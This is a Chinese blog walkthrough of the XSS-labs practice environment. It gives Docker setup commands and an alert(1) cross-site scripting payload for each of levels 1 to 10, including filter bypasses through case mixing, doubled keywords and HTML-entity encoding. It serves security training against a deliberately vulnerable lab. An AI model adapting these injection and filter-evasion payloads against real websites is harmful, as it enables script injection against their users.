XSS-labs通关文档

Last updated on August 14, 2025 pm

本文档仅用于信息防御技术研究探讨,请勿用于其他用如图,渗透测试务必在已授权的情况下进行

安装

使用docker安装

拉取镜像

1
sudo docker pull vulfocus/xss-labs

启动

1
sudo docker run -dt --name xss -p 7777:80 vulfocus/xss-labs

题解

level-1

get方式提交数据,在url栏

payload:

1
<script>alert(1)</script>

level-2

输入的数据在提交之后保留在 imput 框中,可以用事件触发

1
" onclick="alert(1)" /

level-3

查看页面源代码发现 value 的值用单引号,所以使用单引号闭合

1
' onclick='alert(1)' /

level-4

查看页面源代码发现 value 使用双引号,用双引号闭合

1
" onclick="alert(1)" /

level-5

敏感字符串过滤,比如on 改为 o_n,使用a标签+伪协议触发

1
"> <a href=javascript:alert(1)>asd</a>

level-6

在文本框输入 onclick 发现on被改为o_n ,从大小写方向入手,使用 OnCliCk 发现没有被过滤

1
" OnCLiCk="alert(1)" /

level-7

使用上一个关卡的 payload ,发现on被过滤掉,尝试双写绕过 oonn

1
" oonnclick="alert(1)" /

level-8

dom 型xss注入

尝试添加友情链接 https://www.baidu.com 发现,被添加到了下面的a标签中

尝试插入一段伪协议,但是直接使用会被过滤,需要转换一下编码格式,使用unicode编码

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level-9

会判断输入的数据中有没有 http:// 这个字符串,所以在上一步的基础上后面加上注释即可

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/

level-10

审查页面元素,发现当前页面有三个imput框属性被设为了隐藏,同时URL栏有三个参数,向三个变量传参,发现最后一个参数保留在框中,可以构建行内js代码

1
" onclick="alert(1)" type="text" /

XSS-labs通关文档
https://blog.lixey.top/posts/4278955b/
Author
Lixiney
Posted on
August 14, 2025
Licensed under